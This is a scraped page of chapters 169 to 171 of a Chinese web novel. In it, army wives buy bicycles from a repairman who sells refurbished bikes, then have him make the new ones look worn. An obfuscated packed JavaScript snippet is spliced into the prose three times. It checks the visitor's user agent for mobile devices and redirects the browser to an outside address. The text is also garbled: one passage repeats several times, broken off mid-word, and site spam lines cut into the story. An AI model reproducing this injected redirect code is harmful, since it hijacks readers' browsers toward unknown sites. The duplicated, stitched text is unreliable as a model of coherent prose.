这可把陈师傅吓坏了,他一个箭步冲上前,张开双臂拦住沈渡舟的去路,脸上堆着讨好的笑。 “唉,别别别,那么漂亮个小女娃,脾气咋那么急呢! 他伸手擦了擦脑门上不断冒出来的汗,脸上满是认命的表情。 “我卖!我便宜卖给你们还不成吗?! 最终,周柒柒和朱莹莹各自花了一百八十块钱,买了两辆崭新的凤凰牌自行车,邓翠香则是花两百七十块钱,买了一辆飞鸽牌的三轮车。 收完钱,陈师傅眼巴巴地看着车子被推到边上,咂了咂舌,嘴里直念叨。 “这价钱,我是纯亏啊!等于是白送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15879354|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们了你们两张自行车票,还有一张工业票!月底都没钱再进货了! “陈师傅,你就别哭穷了,你靠着那些翻新的车赚了都不知道多少钱了! 周柒柒把自行车钥匙小心地放进包里,神情严肃地说道。 “我劝你一句,以后这种事儿就别干了,这事儿我可以不报**,但是肯定是要跟小李说一声的,他们物资局隔三岔五就要组织检查,严打你这种‘投机倒把’的行为,你自己掂量掂量吧! 邓翠香也在一边帮腔。 “其实你那些翻新车看着还挺不错的,你要是正儿八经说,应该也能卖得出去。 “我知道了,知道了。 陈师傅垂头丧气地应着,眼神里满是懊悔,叹了口气,又问道。 “你们这车,是自己骑走,还是我找人给你们送回去? 周柒柒琢磨了一下。 “你帮我们送到地儿吧,都没咋骑过车,别半道上撂挑子了。 陈师傅点点头:“成,送哪儿啊? “红星院。 别人不知道红星院,但陈师傅这个老“人精一听就知道,这是城郊军区的家属院,再一看这几个女人,他心里“咯噔一下。 “你们……你们是军嫂?怪不得! 他瞅了眼周柒柒带棱的眼神,到现在还有点发怵。 “你们早说啊,我坑谁也不能坑军嫂啊! 说着又拍了拍大腿。 “这小李怎么也不跟我说清楚!早说清楚,哪儿有这么多事儿啊 周柒柒笑道。 “是我们不让说的,军嫂也是人,在外面买东西都是一样的。 “得儿,怪不得你们这么有格局!我算是服了! 陈师傅由衷点了点头,说着就麻溜地张罗。 “我这就找辆三轮车帮你们运自行车,这俩三轮车我亲自给你们蹬回去! 周柒柒摆摆手,“不急,我们还想在城里逛悠逛悠,吃个饭呢,下午再回。 等自行车买妥,四个人先去百货大楼转了圈买东西,完了又一块儿进了国营饭店。 刚进门,邓翠香就一把揽住朱莹莹和周柒柒的肩膀。 “我卖酱菜赚着钱了,今儿买车柒柒又帮我省了这么多,今儿必须我请客! 周柒柒笑了笑,“行,那我就不和你抢了。 朱莹莹接话:“那说好了,下次轮到我请了。 嘴上这么说,可点菜的时候两人都留着分寸,一人只要了碗面。 邓翠香知道她们的心思,偷偷加了一大盘红烧鱼块,还单独给舟舟点了盘拔丝红薯。 饭菜很快端上桌,几人扒拉着面条,邓翠香突然问道。 “柒柒,你咋就看出陈师傅不对劲呢?啥时候看出来的? 第169章 ‘便宜没好货\’ 周柒柒夹了一个鱼块,边吃边慢悠悠开了口,说道。 “还记得刚瞅见前头那几辆车的时候,我咋突然拉着你们走不?” 邓翠香正呼噜噜吃着碗里的炸酱面,闻言赶紧咽下嘴里的面,猛点头。 “咋不记得!那会儿我还琢磨呢,陈师傅一张口要三百五,比说好的两百块高出一大截,可得想个法子好好砍价呢!没想到你砍都不砍,直接拉着我们就走了!” 周柒柒吃了两口鱼块,发现是没啥小刺儿的鲈鱼,才放心地往旁边沈渡舟的小碗里拨了一块,继续说道。 “本来讲好两百块,他突然要三百五,真要是怕压价,也不是这么个怕法。再说我瞅那几辆车,就车把擦得亮堂,车架上落着老厚一层灰,按理说凤凰牌自行车可是抢手货,哪能堆在那儿没人问津?” 她那会儿心里就犯嘀咕,总觉得这陈师傅不像真心想卖车的主儿。 “所以我就顺着他演呗,” 周柒柒压低声音,杏眼弯弯,“假装嫌贵要走,没想到还真把他那点儿猫腻给诈出来了!” “原来是这样!” 邓翠香把筷子往碗沿一放,恍然大悟的样子差点把碗碰翻,“那你咋瞅出后头那些是翻新车的?啥焊接缝、啥漆皮厚薄,听得我一愣一愣的!” 旁边的朱莹莹也放下筷子,眼睛亮晶晶地瞅着周柒柒,“就是就是,柒柒你懂的也太多了,跟在自行车厂待过似的!” “这个嘛” 周柒柒放下筷子,故意学起陈师傅刚才那摇头晃脑的样儿,拖着长音说,“我一个小姑娘家,能懂个啥自行车啊?” 逗得邓翠香和朱莹莹捂着嘴直乐。 笑完了,她才从随身的布包里掏出一张《光明日报》。 这还是昨晚她返回去送手电的时候,小李给的。 她接完电话走了之后,沈淮川在路上又打过来一个电话,特意交代说这一期报纸上有篇报道,讲的就是有人在黑市买翻新车被骗的事。 让小李找出来给她送过去,还千叮咛万嘱咐,让她买车时一定要带个手电筒,里里外外照仔细了。 “我刚开始还觉得他小题大做呢,”周柒柒把报纸往桌上一摊,“没想到还真派上用场了!” 朱莹莹接过 来一看惊讶地说。 “这都去年11月的报纸了沈团长这记性也太好了吧?你就提了一嘴买车的事儿他咋就想起来了?” 邓翠香也一脸羡慕。 “没想到啊沈淮川这小子平时总冷着个脸能把文工团女同志给吓哭但是对着柒柒就这么温柔细心呢!这是真上了心的!” 这事儿周柒柒以前就隐隐约约听说过但一直没机会问。 她往前凑了凑眼睛里满是好奇。 “翠香姐他真给人家女同志吓哭过?” “那还能有假!” 邓翠香放下筷子一本正经地说。 “就去年冬天文工团来咱这儿慰问演出团里有个演主角的姑娘长得那叫一个俊**的好多小伙子瞅见她都挪不动眼。 结果她看上沈淮川了演出完追到营区问他有没有对象好像是靠得近了点你猜咋着?沈淮川直接说人家想窃取训练计划当场就把人扭送到保卫科去了好多人都瞅见了呢!” 她往前凑了凑压低声音说。 “那姑娘叫什么花花的长得是真水灵可沈淮川愣是连正眼都没瞧过。不过嘛 邓翠香话锋一转上下打量着周柒柒。 “跟咱们柒柒比起来还是差了那么一丢丢。” 周柒柒刚嫁过来的时候瘦得跟麻秆儿似的脸蛋儿也瘪瘪的。 这都养了三个多月了小脸蛋变得圆鼓鼓的跟刚熟透的水蜜桃似的粉扑扑的透着光泽。 身材也愈发好了藏在风衣外套里都能看出个曲线来。 邓翠香说着说着就手痒趁周柒柒不注意伸手在她屁股上掐了一把掐完还想往她胸口摸。 “翠香姐!” 周柒柒反应快一扭身躲开了只被她挠了下咯吱窝。 两人笑作一团桌上的碗碟都跟着晃了晃。 “行了行了不逗你了” 邓翠香喘着气坐下“咱接着说买车的事儿。你啥时候多出来个二叔还在自行车厂质检科上班?我咋不知道?” 周柒柒冲她眨眨眼眼里闪着狡黠的光。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15879355|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我要有这么个二叔咱仨还用得着在陈师傅那儿磨叽吗?早找我二叔走后门去 了!我那是吓唬陈师傅呢! “你呀你! 邓翠香点了点她的鼻子,“真是个鬼精灵!那陈师傅做贼心虚,还真被你给唬住了! 她说着,又拍了拍周柒柒的手。 “不过说真的,幸好有你在,要不咱真买了那翻新车可就麻烦了。刚才听他报那低价,我这心里头啊,差点就忍不住要掏钱了。 “这陈师傅啊,就是个老油条, 周柒柒表情严肃起来,“先拿出几辆好车报高价,让人觉得贵舍不得买,然后再拿出翻新车报低价,专挑人贪便宜的心理下手。 邓翠香和朱莹莹以前买东西,都是去供销社,明码标价不用讲价,哪里懂这些弯弯绕绕。 周柒柒觉得有必要提醒她们,“以后不管买啥,都得记住‘便宜没好货’这句话,多留个心眼,仔细瞧瞧东西好坏,别让人给骗了。 “是是是,两人忙不迭点头,想起刚才差点被骗,心里还有点后怕,脸色都苍白了起来。 正说着,就见沈渡舟伸出白嫩的小手,往她俩碗里各夹了一块拔丝红薯。 小家伙张开粉嘟嘟的小嘴,不出声地说了个“甜字。 邓翠香和朱莹莹看着孩子乖巧的模样,心里那点后怕顿时烟消云散,嘴角忍不住往上翘。 周柒柒揉了揉沈渡舟的头发,也给她夹了一块红薯,“舟舟真乖~ 邓翠香吃着黏黏甜甜的拔丝红薯,忍不住叹气。 “还是女儿贴心,跟小棉袄似的。我家那两个小子,一个整天闷屋里看书,一个皮得没边儿,别说给我夹菜了,不抢我碗里的就算好的了!尤其是向阳那小子,一点都不懂得心疼人! 周柒柒替向阳说了一句。 “我倒觉得,向阳也是个好孩子,你看他在大院里混的多好啊,男孩女孩都喜欢跟他一起玩,他还愿意带着舟舟一起玩。 姜向阳在大院里可是出了名的孩子王,不光之前有女娃娃给他送鸡腿。 就连邱春芳家的三萌,看着姜向阳和舟舟在家门口玩的时候,都凑过来一起说话呢。 第170章 心思这么通透 邓翠香却撇撇嘴。 “那是舟舟长得好看!又这么乖,这么懂事,谁见了谁不喜欢啊!” 她一边说,一边低头盯着自己碗里的鸡块面,筷子在碗里扒拉几下,夹起那块最大的鸡肉放进舟舟面前的小碗里,末了还轻轻叹了口气,眼神里满是羡慕。 “要不是现在计划生育管得严,我真想再生个女娃,可惜没这福气了。” 她说着突然就把脸转向了对面的朱莹莹和周柒柒,好奇道。 “我说莹莹、柒柒,你俩现在还年轻,以后想生个男娃还是女娃?” 这话一出口,朱莹莹就低下头,咬着嘴唇小声说。 “我还不知道能不能生呢……” 她都按时吃药一个多月了,上礼拜去医院复查,多囊卵巢的毛病还是没多大改善。 “这才多久啊,着什么急,” 周柒柒赶紧安慰她,“医生不说了嘛,你得放宽心,自己有信心,娃娃才能来。” “嗯,我知道,” 朱莹莹勉强笑了笑,“每天跟你俩待在一起,说说笑笑的,我想愁都愁不起来。” 说完,她又把话头转向周柒柒,“那柒柒,你呢?你跟沈团长结婚也有段日子了,咋还没动静?” “我” 周柒柒夹菜的手顿了一下,眼神有点飘忽…… 她跟沈淮川都还没正儿八经的“穿针引线”过,还是块没种过种子的地呢,咋可能平白无故地,就结果了? “顺其自然,顺其自然。” 她支支吾吾几句,赶紧转移了一下话题。 “哦,对了,我还有个事儿,想和你们商量一下。” 朱莹莹和邓翠香看她一脸严肃的样子,都认真地点点头,齐声说:“行啊,你说。” 等她说完,两人就点了点头,尤其是邓翠香,开口道。 “这话我刚才就想说呢,怕你俩不愿意,既然大家都这么想,那待会儿我来跟那个陈师傅说。” 吃完饭后,三人慢悠悠地溜达着来到陈师傅的修车铺。 陈师傅远远瞧见她们,还以为三人是准备回家属院,赶紧把手里的活儿一撂,热情地招呼道。 “我现在就去前头叫三轮车去。” 邓翠香赶忙伸 手拦住他,脸上带着笑,“别忙别忙,我们还有个事儿要请你帮忙。 陈师傅一听,立马来了精神,挺直腰板,满脸热情:“什么忙?你们尽管说? 可等邓翠香把事情说完,他却瞪大了眼睛,一脸懵,“啊?这新买的车,干嘛要弄旧啊?这多可惜?! 周柒柒见状,赶忙笑着解释。 “不是真弄旧,只是让你帮着‘处理’一下,让她看着显旧就行,我们.不想太扎眼了。 “明白!明白!小姑娘,你看着年纪小,没想到这心思这么通透! 陈师傅恍然大悟,立马竖起大拇指,紧接着又重重拍了拍自己的胸脯。 “放心,包在我身上了,我老陈能给旧车翻新,就能给新车做旧,保证给你们弄得自自然然的,还不伤车! 说着,陈师傅就大步流星地带着几人往后头的小院子走去。 后院的泥地上横七竖八地堆着不少零件,墙角还放着个脏兮兮的大木盆。 陈师傅走到木盆旁,拿起水瓢舀了半勺泥水,又抄起一把刷子,在车架上轻轻甩了几道,泥点子噼里啪啦地溅在轮胎和挡泥板上,乍一看,就跟下过雨骑过烂路似的。 弄完泥水,他又摸出一张砂纸,蹲在地上,在脚踏板边缘来回蹭了几下,没一会儿,底下的金属色就露了出来,那痕迹,就像是被鞋跟磨了好久才有的。 最后,他从口袋里掏出一块浸满机油的破布,在车座边缘使劲来回擦了几遍,原本亮闪闪的人造革立马变得灰蒙蒙的,看着倒像是包了层厚厚的浆。 忙完这一切,陈师傅直起腰,双手叉在腰上,一脸得意地问道。 “就这些,看着唬人,自己一擦,就啥痕迹都没了,咋样? 小说更新,记住域名caixs.com?(请来才 小说 看最新章节 完整章节) 周柒柒绕着车仔仔细细地转了两圈,眼睛里满是赞叹,竖起大拇指说道。 “陈师傅,你这方面确实是专家,这细节,没得挑! 陈师傅刚想谦虚两句,忽然皱起了眉头,“我听着,咋感觉有点不对劲儿?这是夸我吗? 不过他也没多想,又手脚麻利地把另外两辆车也做了旧,完了让小儿子去路口叫三轮车。 刚坐下歇口气,前头就有人喊,“老陈!卖花的来了,说是有吊兰! “你 们先坐着,我去瞅瞅。” 陈师傅拍了拍屁股就往外走,周柒柒她们坐在小马扎上,听着巷口传来的人声,等着三轮车来。 谁成想还没一分钟,陈师傅就气冲冲地回来了,踢了一脚地上的破盆,骂道,“**,奸商!” 邓翠香一下子来了兴致,赶忙站起来,凑上前问道,“咋了这是?这么大火气呢?” 陈师傅一屁股坐在板凳上,唾沫星子横飞。 “前段时间,有个女人拉驴车的来卖花,附近邻居买了嘛,都说好,七毛钱一盆吊兰,还送一把野花,几个野核桃什么的,我媳妇让我见着了也买一盆。” 他越说越气,把毛巾往地上一摔。 “结果刚才我出去一看,变成两个女人骑三轮车来卖了,一盆吊兰卖一块钱,还啥都不送!这不是坐地起价嘛!一下子贵了这么多,比我卖车还黑心!” 邓翠香一听,那颗八卦的心瞬间按捺不住,拔腿就往胡同口跑去。 过了好一会儿,她才慢悠悠地回来。 这时,陈师傅叫的三轮车已经到了,正忙着往车上装自行车呢。 邓翠香把周柒柒和朱莹莹拉到一边,神神秘秘地压低声音说道。 “就是邱春芳和李红娟她们俩!我瞧得真真切切的,这俩人在路口互相埋怨呢!都不想骑车!” “还真是她俩!” 周柒柒眉头紧紧皱起,这年头出来卖花草的人不多,刚才一说卖吊兰,她就猜到了。 “她大梅姐好不容易做出口碑来了,这么多人夸,结果这俩倒好,抢了人家的生意,不好好干,直接就坐地起价,这样的生意,肯定不长久.” 朱莹莹这么温柔的人,都难得义愤填膺。 “太过分了,就是不知道,这事儿王大嫂和王婆婆知道不?” 邓翠香撇了撇嘴,眼神里满是不屑,看看这个,又看看那个。 “这谁知道呢,反正咱们就当不知道就行了。” 三人对视一眼,默契地点了点头,中间夹着舟舟的小脑袋,也跟着懵懵懂懂地晃了晃。 很快,几人几车就被三轮车拉着回到了军属院。 今天是礼拜天,天气格外好,太阳暖洋洋地照着,许多军嫂都带着孩子在广场上玩耍。 这连着两辆三轮车骑进来,其中一辆上头还装着两辆自行车,立马吸引了众人的目光。 周柒柒她们进了军属区就去登记,跟在车后面走着。 众人一看这阵仗,就知道是她们买的车,立马纷纷围拢过来。 “哟,你们三个这是发财了?这又是自行车,又是三轮车的?” 人群里有人笑着打趣道。 “是啊,还是凤凰牌的呢!” 另一个声音跟着响起,语气里满是羡慕。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 们先坐着,我去瞅瞅。 陈师傅拍了拍屁股就往外走,周柒柒她们坐在小马扎上,听着巷口传来的人声,等着三轮车来。 谁成想还没一分钟,陈师傅就气冲冲地回来了,踢了一脚地上的破盆,骂道,“**,奸商! 邓翠香一下子来了兴致,赶忙站起来,凑上前问道,“咋了这是?这么大火气呢? 陈师傅一屁股坐在板凳上,唾沫星子横飞。 “前段时间,有个女人拉驴车的来卖花,附近邻居买了嘛,都说好,七毛钱一盆吊兰,还送一把野花,几个野核桃什么的,我媳妇让我见着了也买一盆。 他越说越气,把毛巾往地上一摔。 “结果刚才我出去一看,变成两个女人骑三轮车来卖了,一盆吊兰卖一块钱,还啥都不送!这不是坐地起价嘛!一下子贵了这么多,比我卖车还黑心! 邓翠香一听,那颗八卦的心瞬间按捺不住,拔腿就往胡同口跑去。 过了好一会儿,她才慢悠悠地回来。 这时,陈师傅叫的三轮车已经到了,正忙着往车上装自行车呢。 邓翠香把周柒柒和朱莹莹拉到一边,神神秘秘地压低声音说道。 “就是邱春芳和李红娟她们俩!我瞧得真真切切的,这俩人在路口互相埋怨呢!都不想骑车! “还真是她俩! 周柒柒眉头紧紧皱起,这年头出来卖花草的人不多,刚才一说卖吊兰,她就猜到了。 “她大梅姐好不容易做出口碑来了,这么多人夸,结果这俩倒好,抢了人家的生意,不好好干,直接就坐地起价,这样的生意,肯定不长久. 朱莹莹这么温柔的人,都难得义愤填膺。 “太过分了,就是不知道,这事儿王大嫂和王婆婆知道不? 邓翠香撇了撇嘴,眼神里满是不屑,看看这个,又看看那个。 “这谁知道呢,反正咱们就当不知道就行了。 三人对视一眼,默契地点了点头,中间夹着舟舟的小脑袋,也跟着懵懵懂懂地晃了晃。 很快,几人几车就被三轮车拉着回到了军属院。 今天是礼拜天,天气格外好,太阳暖洋洋地照着,许多军嫂都带着孩子在广场上玩耍。 这连着两辆三轮车骑进来,其中一辆上头还装着两辆自行车,立马吸引了众人的目光。 周柒柒她们进了军属区就去登记,跟在车后面走着。 众人一看这阵仗,就知道是她们买的车,立马纷纷围拢过来。 “哟,你们三个这是发财了?这又是自行车,又是三轮车的? 人群里有人笑着打趣道。 “是啊,还是凤凰牌的呢! 另一个声音跟着响起,语气里满是羡慕。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 们先坐着,我去瞅瞅。” 陈师傅拍了拍屁股就往外走,周柒柒她们坐在小马扎上,听着巷口传来的人声,等着三轮车来。 谁成想还没一分钟,陈师傅就气冲冲地回来了,踢了一脚地上的破盆,骂道,“**,奸商!” 邓翠香一下子来了兴致,赶忙站起来,凑上前问道,“咋了这是?这么大火气呢?” 陈师傅一屁股坐在板凳上,唾沫星子横飞。 “前段时间,有个女人拉驴车的来卖花,附近邻居买了嘛,都说好,七毛钱一盆吊兰,还送一把野花,几个野核桃什么的,我媳妇让我见着了也买一盆。” 他越说越气,把毛巾往地上一摔。 “结果刚才我出去一看,变成两个女人骑三轮车来卖了,一盆吊兰卖一块钱,还啥都不送!这不是坐地起价嘛!一下子贵了这么多,比我卖车还黑心!” 邓翠香一听,那颗八卦的心瞬间按捺不住,拔腿就往胡同口跑去。 过了好一会儿,她才慢悠悠地回来。 这时,陈师傅叫的三轮车已经到了,正忙着往车上装自行车呢。 邓翠香把周柒柒和朱莹莹拉到一边,神神秘秘地压低声音说道。 “就是邱春芳和李红娟她们俩!我瞧得真真切切的,这俩人在路口互相埋怨呢!都不想骑车!” “还真是她俩!” 周柒柒眉头紧紧皱起,这年头出来卖花草的人不多,刚才一说卖吊兰,她就猜到了。 “她大梅姐好不容易做出口碑来了,这么多人夸,结果这俩倒好,抢了人家的生意,不好好干,直接就坐地起价,这样的生意,肯定不长久.” 朱莹莹这么温柔的人,都难得义愤填膺。 “太过分了,就是不知道,这事儿王大嫂和王婆婆知道不?” 邓翠香撇了撇嘴,眼神里满是不屑,看看这个,又看看那个。 “这谁知道呢,反正咱们就当不知道就行了。” 三人对视一眼,默契地点了点头,中间夹着舟舟的小脑袋,也跟着懵懵懂懂地晃了晃。 很快,几人几车就被三轮车拉着回到了军属院。 今天是礼拜天,天气格外好,太阳暖洋洋地照着,许多军嫂都带着孩子在广场上玩耍。 这连着两辆三轮车骑进来,其中一辆上头还装着两辆自行车,立马吸引了众人的目光。 周柒柒她们进了军属区就去登记,跟在车后面走着。 众人一看这阵仗,就知道是她们买的车,立马纷纷围拢过来。 “哟,你们三个这是发财了?这又是自行车,又是三轮车的?” 人群里有人笑着打趣道。 “是啊,还是凤凰牌的呢!” 另一个声音跟着响起,语气里满是羡慕。 你的朋友正在书荒,快去帮帮他吧 们先坐着,我去瞅瞅。” 陈师傅拍了拍屁股就往外走,周柒柒她们坐在小马扎上,听着巷口传来的人声,等着三轮车来。 谁成想还没一分钟,陈师傅就气冲冲地回来了,踢了一脚地上的破盆,骂道,“**,奸商!” 邓翠香一下子来了兴致,赶忙站起来,凑上前问道,“咋了这是?这么大火气呢?” 陈师傅一屁股坐在板凳上,唾沫星子横飞。 “前段时间,有个女人拉驴车的来卖花,附近邻居买了嘛,都说好,七毛钱一盆吊兰,还送一把野花,几个野核桃什么的,我媳妇让我见着了也买一盆。” 他越说越气,把毛巾往地上一摔。 “结果刚才我出去一看,变成两个女人骑三轮车来卖了,一盆吊兰卖一块钱,还啥都不送!这不是坐地起价嘛!一下子贵了这么多,比我卖车还黑心!” 邓翠香一听,那颗八卦的心瞬间按捺不住,拔腿就往胡同口跑去。 过了好一会儿,她才慢悠悠地回来。 这时,陈师傅叫的三轮车已经到了,正忙着往车上装自行车呢。 邓翠香把周柒柒和朱莹莹拉到一边,神神秘秘地压低声音说道。 “就是邱春芳和李红娟她们俩!我瞧得真真切切的,这俩人在路口互相埋怨呢!都不想骑车!” “还真是她俩!” 周柒柒眉头紧紧皱起,这年头出来卖花草的人不多,刚才一说卖吊兰,她就猜到了。 “她大梅姐好不容易做出口碑来了,这么多人夸,结果这俩倒好,抢了人家的生意,不好好干,直接就坐地起价,这样的生意,肯定不长久.” 朱莹莹这么温柔的人,都难得义愤填膺。 “太过分了,就是不知道,这事儿王大嫂和王婆婆知道不?” 邓翠香撇了撇嘴,眼神里满是不屑,看看这个,又看看那个。 “这谁知道呢,反正咱们就当不知道就行了。” 三人对视一眼,默契地点了点头,中间夹着舟舟的小脑袋,也跟着懵懵懂懂地晃了晃。 小说全网首发无弹窗免费阅读caixs.com?(请来才 小说 看最新章节 完整章节) 很快,几人几车就被三轮车拉着回到了军属院。 今天是礼拜天,天气格外好,太阳暖洋洋地照着,许多军嫂都带着孩子在广场上玩耍。 这连着两辆三轮车骑进来,其中一辆上头还装着两辆自行车,立马吸引了众人的目光。 周柒柒她们进了军属区就去登记,跟在车后面走着。 众人一看这阵仗,就知道是她们买的车,立马纷纷围拢过来。 “哟,你们三个这是发财了?这又是自行车,又是三轮车的?” 人群里有人笑着打趣道。 “是啊,还是凤凰牌的呢!” 另一个声音跟着响起,语气里满是羡慕。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 们先坐着,我去瞅瞅。” 陈师傅拍了拍屁股就往外走,周柒柒她们坐在小马扎上,听着巷口传来的人声,等着三轮车来。 谁成想还没一分钟,陈师傅就气冲冲地回来了,踢了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15879356|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 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邓翠香一下子来了兴致,赶忙站起来,凑上前问道,“咋了这是?这么大火气呢? 陈师傅一屁股坐在板凳上,唾沫星子横飞。 “前段时间,有个女人拉驴车的来卖花,附近邻居买了嘛,都说好,七毛钱一盆吊兰,还送一把野花,几个野核桃什么的,我媳妇让我见着了也买一盆。 他越说越气,把毛巾往地上一摔。 “结果刚才我出去一看,变成两个女人骑三轮车来卖了,一盆吊兰卖一块钱,还啥都不送!这不是坐地起价嘛!一下子贵了这么多,比我卖车还黑心! 邓翠香一听,那颗八卦的心瞬间按捺不住,拔腿就往胡同口跑去。 过了好一会儿,她才慢悠悠地回来。 这时,陈师傅叫的三轮车已经到了,正忙着往车上装自行车呢。 邓翠香把周柒柒和朱莹莹拉到一边,神神秘秘地压低声音说道。 “就是邱春芳和李红娟她们俩!我瞧得真真切切的,这俩人在路口互相埋怨呢!都不想骑车! “还真是她俩! 周柒柒眉头紧紧皱起,这年头出来卖花草的人不多,刚才一说卖吊兰,她就猜到了。 “她大梅姐好不容易做出口碑来了,这么多人夸,结果这俩倒好,抢了人家的生意,不好好干,直接就坐地起价,这样的生意,肯定不长久. 朱莹莹这么温柔的人,都难得义愤填膺。 “太过分了,就是不知道,这事儿王大嫂和王婆婆知道不? 邓翠香撇了撇嘴,眼神里满是不屑,看看这个,又看看那个。 “这谁知道呢,反正咱们就当不知道就行了。 三人对视一眼,默契地点了点头,中间夹着舟舟的小脑袋,也跟着懵懵懂懂地晃了晃。 很快,几人几车就被三轮车拉着回到了军属院。 今天是礼拜天,天气格外好,太阳暖洋洋地照着,许多军嫂都带着孩子在广场上玩耍。 这连着两辆三轮车骑进来,其中一辆上头还装着两辆自行车,立马吸引了众人的目光。 周柒柒她们进了军属区就去登记,跟在车后面走着。 众人一看这阵仗,就知道是她们买的车,立马纷纷围拢过来。 “哟,你们三个这是发财了?这又是自行车,又是三轮车的? 人群里有人笑着打趣道。 “是啊,还是凤凰牌的呢! 另一个声音跟着响起,语气里满是羡慕。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 们先坐着,我去瞅瞅。 陈师傅拍了拍屁股就往外走,周柒柒她们坐在小马扎上,听着巷口传来的人声,等着三轮车来。 谁成想还没一分钟,陈师傅就气冲冲地回来了,踢了一脚地上的破盆,骂道,“**,奸商! 邓翠香一下子来了兴致,赶忙站起来,凑上前问道,“咋了这是?这么大火气呢? 陈师傅一屁股坐在板凳上,唾沫星子横飞。 “前段时间,有个女人拉驴车的来卖花,附近邻居买了嘛,都说好,七毛钱一盆吊兰,还送一把野花,几个野核桃什么的,我媳妇让我见着了也买一盆。 他越说越气,把毛巾往地上一摔。 “结果刚才我出去一看,变成两个女人骑三轮车来卖了,一盆吊兰卖一块钱,还啥都不送!这不是坐地起价嘛!一下子贵了这么多,比我卖车还黑心! 邓翠香一听,那颗八卦的心瞬间按捺不住,拔腿就往胡同口跑去。 过了好一会儿,她才慢悠悠地回来。 这时,陈师傅叫的三轮车已经到了,正忙着往车上装自行车呢。 邓翠香把周柒柒和朱莹莹拉到一边,神神秘秘地压低声音说道。 “就是邱春芳和李红娟她们俩!我瞧得真真切切的,这俩人在路口互相埋怨呢!都不想骑车! “还真是她俩! 周柒柒眉头紧紧皱起,这年头出来卖花草的人不多,刚才一说卖吊兰,她就猜到了。 “她大梅姐好不容易做出口碑来了,这么多人夸,结果这俩倒好,抢了人家的生意,不好好干,直接就坐地起价,这样的生意,肯定不长久. 朱莹莹这么温柔的人,都难得义愤填膺。 “太过分了,就是不知道,这事儿王大嫂和王婆婆知道不? 邓翠香撇了撇嘴,眼神里满是不屑,看看这个,又看看那个。 “这谁知道呢,反正咱们就当不知道就行了。 三人对视一眼,默契地点了点头,中间夹着舟舟的小脑袋,也跟着懵懵懂懂地晃了晃。 很快,几人几车就被三轮车拉着回到了军属院。 今天是礼拜天,天气格外好,太阳暖洋洋地照着,许多军嫂都带着孩子在广场上玩耍。 这连着两辆三轮车骑进来,其中一辆上头还装着两辆自行车,立马吸引了众人的目光。 周柒柒她们进了军属区就去登记,跟在车后面走着。 众人一看这阵仗,就知道是她们买的车,立马纷纷围拢过来。 “哟,你们三个这是发财了?这又是自行车,又是三轮车的? 人群里有人笑着打趣道。 “是啊,还是凤凰牌的呢! 另一个声音跟着响起,语气里满是羡慕。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第171章 学车 她们这架势太大,广场上十几个军嫂唠嗑、看孩子的军嫂瞬间就聚拢了过来,远处的也都走了过来。 一辆自行车,在这年代,连车带票算下来,至少得两百块钱。 两百块啊! 这可不是个小数目,那可是家里男人两三个月的工资了,平时大伙儿过日子都精打细算的,谁舍得花这钱买车啊。 这会儿看着眼前的自行车,众人眼里先是冒出羡慕的光,紧接着,不少人眼神就变了味儿,酸酸溜溜的劲儿都快溢出来了。 人群里,一个嗓门儿大的军嫂挤到前头,撇着嘴阴阳怪气道。 “哟,邓翠香,你这是卖酱菜发大财了?还是跟着谁学坏了?三轮车都给置办上了!以前你可是很节俭的啊!” 这话一出,周围人都跟着伸长脖子,等着看邓翠香的反应。 邓翠香笑呵呵地拍了拍三轮车。 “嗨,别提了!钱还没挣着,先都投资了!这不为了卖酱菜方便,托人买的修车铺的二手货!” “二手的?” 众人一听,先是愣了神,接着齐刷刷把目光投向那几辆三轮车。 可不是嘛,车身灰扑扑的,像是蒙了一层厚厚的灰,轮胎上还沾着没洗干净的泥点子,脚踏板上满是磨损的痕迹,就连车座子也是灰扑扑的,边角处都发亮了。 刚才还酸言酸语的军嫂一下子乐了,捂着嘴笑个不停。 “可不就是二手的嘛!我瞅着这车座子边上都包浆了,也不知道原先的车主得多大的屁股,才能把这儿磨成这样!” 这话逗得周围军嫂们都咧开嘴,“哈哈哈”地笑作一团,原本带着些**味的气氛瞬间就轻松了下来。 一个热心肠的军嫂挤到跟前,拍了拍邓翠香的肩膀。 “哎呀,新车多贵啊!买个二手的,能骑就行呗!回去收拾收拾,照样好使!” 还有人好奇,凑到跟前打听。 “翠香,柒柒,你们这二手的,花了多少钱啊?” 